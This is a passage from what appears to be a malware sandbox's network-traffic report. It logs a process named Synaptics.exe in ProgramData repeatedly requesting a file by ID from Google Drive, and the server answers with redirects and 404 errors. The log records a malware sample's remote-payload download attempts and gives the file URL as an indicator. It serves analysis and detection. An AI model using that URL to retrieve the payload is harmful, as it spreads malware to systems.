3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="X97x45e0WXMhsyBcdd9F6A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:23 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	49833	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:22 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:23 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:23 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gKuuyOn8uD127AFWtEiP5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMt5juCNXa-Du-gvv1DijSWDn3CwENSMpONyc-fReyq89TCoyN9ZOgkum4QsCYX9Xp0bH8 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:23 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:23 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 46 5f 32 6b 33 54 54 49 76 63 4c 73 4e 30 50 7a 77 30 74 6f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="yF_2k3TTIvcLsN0Pzw0toA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:23 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.8	49839	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:23 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:24 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:24 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--A2CU723K1DC9UORvvX38Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNDV8-JGanuVgvJYjDH3E1Xmt-0uB3li2wNgvakB_ChfrJZigUYEH9BWFSaCI1eD_twUh0 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:24 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:24 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 62 73 41 7a 73 52 38 43 5a 72 59 32 32 6b 58 4a 66 55 54 37 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="fbsAzsR8CZrY22kXJfUT7A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:24 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	49840	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:23 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-KNtNFR0NSUbX8aS9vswipg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	49841	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:23 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-MBY_jJy-eF9Muh6V9V3wtQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	49843	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:25 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:25 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:25 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-RWtZg978upilGSTUOih5lA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nN86LTZ4qcQSj6Ulqt4RWMV7AaySGDOV-XwDbF0cQTcbdfvlFxOTQ4QzPhzaMEGwoJ3DSI Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:25 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:25 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 4b 6c 42 73 6d 4f 6a 71 62 4c 64 71 44 76 51 34 6b 39 7a 72 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="-KlBsmOjqbLdqDvQ4k9zrg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:25 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	49844	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:25 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-til3Rat10lSU01EkpuY7hg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	49845	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:25 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:25 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:25 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-9JFWli0YwQaOS-wPmb8Qqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNk4IN9S4cD4hcYvvGToO6VZO4Nr5qUJEUfyW7p32RYtrFCngEEBvZkT6hm_B0qzSzkDis Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:25 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:25 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 6f 38 4e 4a 33 52 43 54 43 32 6e 72 53 77 6e 4a 31 68 35 66 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="to8NJ3RCTC2nrSwnJ1h5fQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:25 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	49842	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
